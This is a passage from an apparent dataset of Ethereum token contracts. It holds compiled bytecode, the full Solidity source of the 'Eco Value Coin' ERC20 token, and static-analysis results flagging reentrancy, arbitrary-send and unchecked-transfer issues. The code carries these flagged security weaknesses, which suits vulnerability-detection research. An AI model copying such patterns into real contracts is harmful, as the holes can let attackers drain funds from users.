906101000a900460ff165b15611a985742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a4757600080fd5b601e42611a549190613198565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611aa330610e11565b9050600f60159054906101000a900460ff16158015611b105750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b285750600f60169054906101000a900460ff165b15611b5057611b3681611de2565b60004790506000811115611b4e57611b4d47611c79565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c0357600090505b611c0f848484846121a1565b50505050565b6000838311158290611c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c549190612ec0565b60405180910390fd5b5060008385611c6c9190613279565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cc960028461215790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cf4573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d4560028461215790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d70573d6000803e3d6000fd5b5050565b6000600654821115611dbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db290612f22565b60405180910390fd5b6000611dc56121ce565b9050611dda818461215790919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e40577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e6e5781602001602082028036833780820191505090505b5090503081600081518110611eac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f4e57600080fd5b505afa158015611f62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f86919061292f565b81600181518110611fc0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202730600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128b565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161208b95949392919061307d565b600060405180830381600087803b1580156120a557600080fd5b505af11580156120b9573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156120ef5760009050612151565b600082846120fd919061321f565b905082848261210c91906131ee565b1461214c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214390612fa2565b60405180910390fd5b809150505b92915050565b600061219983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121f9565b905092915050565b806121af576121ae61225c565b5b6121ba84848461228d565b806121c8576121c7612458565b5b50505050565b60008060006121db61246a565b915091506121f2818361215790919063ffffffff16565b9250505090565b60008083118290612240576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122379190612ec0565b60405180910390fd5b506000838561224f91906131ee565b9050809150509392505050565b600060085414801561227057506000600954145b1561227a5761228b565b600060088190555060006009819055505b565b60008060008060008061229f876124cc565b9550955095509550955095506122fd86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061239285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123de816125dc565b6123e88483612699565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124459190613062565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124a0683635c9adc5dea0000060065461215790919063ffffffff16565b8210156124bf57600654683635c9adc5dea000009350935050506124c8565b81819350935050505b9091565b60008060008060008060008060006124e98a6008546009546126d3565b92509250925060006124f96121ce565b9050600080600061250c8e878787612769565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061257683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c15565b905092915050565b600080828461258d9190613198565b9050838110156125d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125c990612f62565b60405180910390fd5b8091505092915050565b60006125e66121ce565b905060006125fd82846120dc90919063ffffffff16565b905061265181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257e90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126ae8260065461253490919063ffffffff16565b6006819055506126c98160075461257e90919063ffffffff16565b6007819055505050565b6000806000806126ff60646126f1888a6120dc90919063ffffffff16565b61215790919063ffffffff16565b90506000612729606461271b888b6120dc90919063ffffffff16565b61215790919063ffffffff16565b9050600061275282612744858c61253490919063ffffffff16565b61253490919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061278285896120dc90919063ffffffff16565b9050600061279986896120dc90919063ffffffff16565b905060006127b087896120dc90919063ffffffff16565b905060006127d9826127cb858761253490919063ffffffff16565b61253490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061280561280084613117565b6130f2565b9050808382526020820190508285602086028201111561282457600080fd5b60005b85811015612854578161283a888261285e565b845260208401935060208301925050600181019050612827565b5050509392505050565b60008135905061286d81613755565b92915050565b60008151905061288281613755565b92915050565b600082601f83011261289957600080fd5b81356128a98482602086016127f2565b91505092915050565b6000813590506128c18161376c565b92915050565b6000815190506128d68161376c565b92915050565b6000813590506128eb81613783565b92915050565b60008151905061290081613783565b92915050565b60006020828403121561291857600080fd5b60006129268482850161285e565b91505092915050565b60006020828403121561294157600080fd5b600061294f84828501612873565b91505092915050565b6000806040838503121561296b57600080fd5b60006129798582860161285e565b925050602061298a8582860161285e565b9150509250929050565b6000806000606084860312156129a957600080fd5b60006129b78682870161285e565b93505060206129c88682870161285e565b92505060406129d9868287016128dc565b9150509250925092565b600080604083850312156129f657600080fd5b6000612a048582860161285e565b9250506020612a15858286016128dc565b9150509250929050565b600060208284031215612a3157600080fd5b600082013567ffffffffffffffff811115612a4b57600080fd5b612a5784828501612888565b91505092915050565b600060208284031215612a7257600080fd5b6000612a80848285016128b2565b91505092915050565b600060208284031215612a9b57600080fd5b6000612aa9848285016128c7565b91505092915050565b600060208284031215612ac457600080fd5b6000612ad2848285016128dc565b91505092915050565b600080600060608486031215612af057600080fd5b6000612afe868287016128f1565b9350506020612b0f868287016128f1565b9250506040612b20868287016128f1565b9150509250925092565b6000612b368383612b42565b60208301905092915050565b612b4b816132ad565b82525050565b612b5a816132ad565b82525050565b6000612b6b82613153565b612b758185613176565b9350612b8083613143565b8060005b83811015612bb1578151612b988882612b2a565b9750612ba383613169565b925050600181019050612b84565b5085935050505092915050565b612bc7816132bf565b82525050565b612bd681613302565b82525050565b6000612be78261315e565b612bf18185613187565b9350612c01818560208601613314565b612c0a8161344e565b840191505092915050565b6000612c22602383613187565b9150612c2d8261345f565b604082019050919050565b6000612c45601a83613187565b9150612c50826134ae565b602082019050919050565b6000612c68602a83613187565b9150612c73826134d7565b604082019050919050565b6000612c8b602283613187565b9150612c9682613526565b604082019050919050565b6000612cae601b83613187565b9150612cb982613575565b602082019050919050565b6000612cd1601d83613187565b9150612cdc8261359e565b602082019050919050565b6000612cf4602183613187565b9150612cff826135c7565b604082019050919050565b6000612d17602083613187565b9150612d2282613616565b602082019050919050565b6000612d3a602983613187565b9150612d458261363f565b604082019050919050565b6000612d5d602583613187565b9150612d688261368e565b604082019050919050565b6000612d80602483613187565b9150612d8b826136dd565b604082019050919050565b6000612da3601183613187565b9150612dae8261372c565b602082019050919050565b612dc2816132eb565b82525050565b612dd1816132f5565b82525050565b6000602082019050612dec6000830184612b51565b92915050565b6000604082019050612e076000830185612b51565b612e146020830184612b51565b9392505050565b6000604082019050612e306000830185612b51565b612e3d6020830184612db9565b9392505050565b600060c082019050612e596000830189612b51565b612e666020830188612db9565b612e736040830187612bcd565b612e806060830186612bcd565b612e8d6080830185612b51565b612e9a60a0830184612db9565b979650505050505050565b6000602082019050612eba6000830184612bbe565b92915050565b60006020820190508181036000830152612eda8184612bdc565b905092915050565b60006020820190508181036000830152612efb81612c15565b9050919050565b60006020820190508181036000830152612f1b81612c38565b9050919050565b60006020820190508181036000830152612f3b81612c5b565b9050919050565b60006020820190508181036000830152612f5b81612c7e565b9050919050565b60006020820190508181036000830152612f7b81612ca1565b9050919050565b60006020820190508181036000830152612f9b81612cc4565b9050919050565b60006020820190508181036000830152612fbb81612ce7565b9050919050565b60006020820190508181036000830152612fdb81612d0a565b9050919050565b60006020820190508181036000830152612ffb81612d2d565b9050919050565b6000602082019050818103600083015261301b81612d50565b9050919050565b6000602082019050818103600083015261303b81612d73565b9050919050565b6000602082019050818103600083015261305b81612d96565b9050919050565b60006020820190506130776000830184612db9565b92915050565b600060a0820190506130926000830188612db9565b61309f6020830187612bcd565b81810360408301526130b18186612b60565b90506130c06060830185612b51565b6130cd6080830184612db9565b9695505050505050565b60006020820190506130ec6000830184612dc8565b92915050565b60006130fc61310d565b90506131088282613347565b919050565b6000604051905090565b600067ffffffffffffffff8211156131325761313161341f565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131a3826132eb565b91506131ae836132eb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131e3576131e26133c1565b5b828201905092915050565b60006131f9826132eb565b9150613204836132eb565b925082613214576132136133f0565b5b828204905092915050565b600061322a826132eb565b9150613235836132eb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561326e5761326d6133c1565b5b828202905092915050565b6000613284826132eb565b915061328f836132eb565b9250828210156132a2576132a16133c1565b5b828203905092915050565b60006132b8826132cb565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061330d826132eb565b9050919050565b60005b83811015613332578082015181840152602081019050613317565b83811115613341576000848401525b50505050565b6133508261344e565b810181811067ffffffffffffffff8211171561336f5761336e61341f565b5b80604052505050565b6000613383826132eb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133b6576133b56133c1565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61375e816132ad565b811461376957600080fd5b50565b613775816132bf565b811461378057600080fd5b50565b61378c816132eb565b811461379757600080fd5b5056fe46616d696c79446f6765207c20742e6d652f46616d696c79646f6765746f6b656e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d3e439327e6dce28e3391726f47bfc074c24a7809155508c775b93d283337a7064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,909 |
0xaa843f65872a25d6e9552ea0b360fb1d5e333124
|
pragma solidity ^0.4.20;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
OwnershipTransferred(owner, newOwner);
}
}
contract CutdownTokenInterface {
//ERC20
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
//ERC677
function tokenFallback(address from, uint256 amount, bytes data) public returns (bool);
}
/**
* @title Eco Value Coin
* @dev Burnable ERC20 + ERC677 token with initial transfers blocked
*/
contract EcoValueCoin is Ownable {
using SafeMath for uint256;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed _burner, uint256 _value);
event TransfersEnabled();
event TransferRightGiven(address indexed _to);
event TransferRightCancelled(address indexed _from);
event WithdrawnERC20Tokens(address indexed _tokenContract, address indexed _owner, uint256 _balance);
event WithdrawnEther(address indexed _owner, uint256 _balance);
string public constant name = "Eco Value Coin";
string public constant symbol = "EVC";
uint256 public constant decimals = 18;
uint256 public constant initialSupply = 3300000000 * (10 ** decimals);
uint256 public totalSupply;
mapping(address => uint256) public balances;
mapping(address => mapping (address => uint256)) internal allowed;
//This mapping is used for the token owner and crowdsale contract to
//transfer tokens before they are transferable
mapping(address => bool) public transferGrants;
//This flag controls the global token transfer
bool public transferable;
/**
* @dev Modifier to check if tokens can be transfered.
*/
modifier canTransfer() {
require(transferable || transferGrants[msg.sender]);
_;
}
/**
* @dev The constructor sets the original `owner` of the contract
* to the sender account and assigns them all tokens.
*/
function EcoValueCoin() public {
owner = msg.sender;
totalSupply = initialSupply;
balances[owner] = totalSupply;
transferGrants[owner] = true;
}
/**
* @dev This contract does not accept any ether.
* Any forced ether can be withdrawn with `withdrawEther()` by the owner.
*/
function () payable public {
revert();
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) canTransfer public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) canTransfer public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) canTransfer public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) canTransfer public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) canTransfer public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) canTransfer public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
/**
* @dev Enables the transfer of tokens for everyone
*/
function enableTransfers() onlyOwner public {
require(!transferable);
transferable = true;
TransfersEnabled();
}
/**
* @dev Assigns the special transfer right, before transfers are enabled
* @param _to The address receiving the transfer grant
*/
function grantTransferRight(address _to) onlyOwner public {
require(!transferable);
require(!transferGrants[_to]);
require(_to != address(0));
transferGrants[_to] = true;
TransferRightGiven(_to);
}
/**
* @dev Removes the special transfer right, before transfers are enabled
* @param _from The address that the transfer grant is removed from
*/
function cancelTransferRight(address _from) onlyOwner public {
require(!transferable);
require(transferGrants[_from]);
transferGrants[_from] = false;
TransferRightCancelled(_from);
}
/**
* @dev Allows to transfer out the balance of arbitrary ERC20 tokens from the contract.
* @param _tokenContract The contract address of the ERC20 token.
*/
function withdrawERC20Tokens(address _tokenContract) onlyOwner public {
CutdownTokenInterface token = CutdownTokenInterface(_tokenContract);
uint256 totalBalance = token.balanceOf(address(this));
token.transfer(owner, totalBalance);
WithdrawnERC20Tokens(_tokenContract, owner, totalBalance);
}
/**
* @dev Allows to transfer out the ether balance that was forced into this contract, e.g with `selfdestruct`
*/
function withdrawEther() public onlyOwner {
uint256 totalBalance = this.balance;
require(totalBalance > 0);
owner.transfer(totalBalance);
WithdrawnEther(owner, totalBalance);
}
}
|
0x6060604052600436106101195763ffffffff60e060020a60003504166306fdde03811461011e578063095ea7b3146101a857806318160ddd146101de57806322cd8e9b1461020357806323b872dd1461022257806327e235e31461024a578063313ce56714610269578063378dc3dc1461027c57806342966c681461028f5780634ff7ff32146102a7578063566038fb146102c657806366188463146102e557806370a08231146103075780637362377b146103265780637627c9ad146103395780638da5cb5b1461035857806392ff0d311461038757806395d89b411461039a578063a9059cbb146103ad578063af35c6c7146103cf578063d73dd623146103e2578063dd62ed3e14610404578063f2fde38b14610429575b600080fd5b341561012957600080fd5b610131610448565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561016d578082015183820152602001610155565b50505050905090810190601f16801561019a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b357600080fd5b6101ca600160a060020a036004351660243561047f565b604051901515815260200160405180910390f35b34156101e957600080fd5b6101f161051f565b60405190815260200160405180910390f35b341561020e57600080fd5b6101ca600160a060020a0360043516610525565b341561022d57600080fd5b6101ca600160a060020a036004358116906024351660443561053a565b341561025557600080fd5b6101f1600160a060020a03600435166106f1565b341561027457600080fd5b6101f1610703565b341561028757600080fd5b6101f1610708565b341561029a57600080fd5b6102a5600435610718565b005b34156102b257600080fd5b6102a5600160a060020a03600435166107d2565b34156102d157600080fd5b6102a5600160a060020a036004351661092f565b34156102f057600080fd5b6101ca600160a060020a03600435166024356109d1565b341561031257600080fd5b6101f1600160a060020a0360043516610b03565b341561033157600080fd5b6102a5610b1e565b341561034457600080fd5b6102a5600160a060020a0360043516610bc7565b341561036357600080fd5b61036b610c80565b604051600160a060020a03909116815260200160405180910390f35b341561039257600080fd5b6101ca610c8f565b34156103a557600080fd5b610131610c98565b34156103b857600080fd5b6101ca600160a060020a0360043516602435610ccf565b34156103da57600080fd5b6102a5610dff565b34156103ed57600080fd5b6101ca600160a060020a0360043516602435610e65565b341561040f57600080fd5b6101f1600160a060020a0360043581169060243516610f3e565b341561043457600080fd5b6102a5600160a060020a0360043516610fa1565b60408051908101604052600e81527f45636f2056616c756520436f696e000000000000000000000000000000000000602082015281565b60055460009060ff16806104ab5750600160a060020a03331660009081526004602052604090205460ff165b15156104b657600080fd5b600160a060020a03338116600081815260036020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60015481565b60046020526000908152604090205460ff1681565b60055460009060ff16806105665750600160a060020a03331660009081526004602052604090205460ff165b151561057157600080fd5b600160a060020a038316151561058657600080fd5b600160a060020a0384166000908152600260205260409020548211156105ab57600080fd5b600160a060020a03808516600090815260036020908152604080832033909416835292905220548211156105de57600080fd5b600160a060020a038416600090815260026020526040902054610607908363ffffffff61103016565b600160a060020a03808616600090815260026020526040808220939093559085168152205461063c908363ffffffff61104516565b600160a060020a03808516600090815260026020908152604080832094909455878316825260038152838220339093168252919091522054610684908363ffffffff61103016565b600160a060020a03808616600081815260036020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60026020526000908152604090205481565b601281565b6b0aa9b22e75c9a72f6400000081565b600160a060020a03331660009081526002602052604081205482111561073d57600080fd5b5033600160a060020a0381166000908152600260205260409020546107629083611030565b600160a060020a03821660009081526002602052604090205560015461078e908363ffffffff61103016565b600155600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b60008054819033600160a060020a039081169116146107f057600080fd5b82915081600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561084a57600080fd5b6102c65a03f1151561085b57600080fd5b505050604051805160008054919350600160a060020a03808616935063a9059cbb92169084906040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156108cb57600080fd5b6102c65a03f115156108dc57600080fd5b50505060405180515050600054600160a060020a039081169084167f340399c867affe8af8b81c9c8909476fe09e7810cea1aa1bd70f9b0b465a09cb8360405190815260200160405180910390a3505050565b60005433600160a060020a0390811691161461094a57600080fd5b60055460ff161561095a57600080fd5b600160a060020a03811660009081526004602052604090205460ff16151561098157600080fd5b600160a060020a03811660008181526004602052604090819020805460ff191690557f865f9a3e5acb369194fb814788e7cdd5ad14d8def9907065e4fbb5fcf2d49007905160405180910390a250565b600554600090819060ff16806109ff5750600160a060020a03331660009081526004602052604090205460ff165b1515610a0a57600080fd5b50600160a060020a0333811660009081526003602090815260408083209387168352929052205480831115610a6657600160a060020a033381166000908152600360209081526040808320938816835292905290812055610a9d565b610a76818463ffffffff61103016565b600160a060020a033381166000908152600360209081526040808320938916835292905220555b600160a060020a0333811660008181526003602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526002602052604090205490565b6000805433600160a060020a03908116911614610b3a57600080fd5b50600160a060020a0330163160008111610b5357600080fd5b600054600160a060020a031681156108fc0282604051600060405180830381858888f193505050501515610b8657600080fd5b600054600160a060020a03167e427c0f965e4f144086694ed3a411df394e3dfa51cf4e74d9a70375bab91bb08260405190815260200160405180910390a250565b60005433600160a060020a03908116911614610be257600080fd5b60055460ff1615610bf257600080fd5b600160a060020a03811660009081526004602052604090205460ff1615610c1857600080fd5b600160a060020a0381161515610c2d57600080fd5b600160a060020a03811660008181526004602052604090819020805460ff191660011790557f50af31608823996ca2e3de4556476c372e2e6a6bdcc15d9f5c62ffcb412befdd905160405180910390a250565b600054600160a060020a031681565b60055460ff1681565b60408051908101604052600381527f4556430000000000000000000000000000000000000000000000000000000000602082015281565b60055460009060ff1680610cfb5750600160a060020a03331660009081526004602052604090205460ff165b1515610d0657600080fd5b600160a060020a0383161515610d1b57600080fd5b600160a060020a033316600090815260026020526040902054821115610d4057600080fd5b600160a060020a033316600090815260026020526040902054610d69908363ffffffff61103016565b600160a060020a033381166000908152600260205260408082209390935590851681522054610d9e908363ffffffff61104516565b600160a060020a0380851660008181526002602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b60005433600160a060020a03908116911614610e1a57600080fd5b60055460ff1615610e2a57600080fd5b6005805460ff191660011790557feadb24812ab3c9a55c774958184293ebdb6c7f6a2dbab11f397d80c86feb65d360405160405180910390a1565b60055460009060ff1680610e915750600160a060020a03331660009081526004602052604090205460ff165b1515610e9c57600080fd5b600160a060020a03338116600090815260036020908152604080832093871683529290522054610ed2908363ffffffff61104516565b600160a060020a0333811660008181526003602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b60055460009060ff1680610f6a5750600160a060020a03331660009081526004602052604090205460ff165b1515610f7557600080fd5b50600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60005433600160a060020a03908116911614610fbc57600080fd5b600160a060020a0381161515610fd157600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03838116918217928390559091167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b60008282111561103f57600080fd5b50900390565b60008282018381101561105757600080fd5b93925050505600a165627a7a72305820889c3d013ad72dd0446bec6391d2cf0c72d63b3fc932b837868f50552c2ac8980029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 5,910 |
0x4fea32f101d94f7c494c5ca55e609322a10a7157
|
/**
*Submitted for verification at Etherscan.io on 2021-12-14
*/
/*
____ ,----.. ,----.. ,--, ____
.--.--. ,' , `. / / \ / / \ ,----.. ,--.'| ,' , `.
/ / '. ,-+-,.' _ | / . : / . : / / \ ,--, | : ,--, ,-+-,.' _ |
| : /`. / ,-+-. ; , || . / ;. \ . / ;. \| : :,---.'| : ' ,'_ /| ,-+-. ; , ||
; | |--` ,--.'|' | ;|. ; / ` ;. ; / ` ;. | ;. /| | : _' | .--. | | : ,--.'|' | ;|
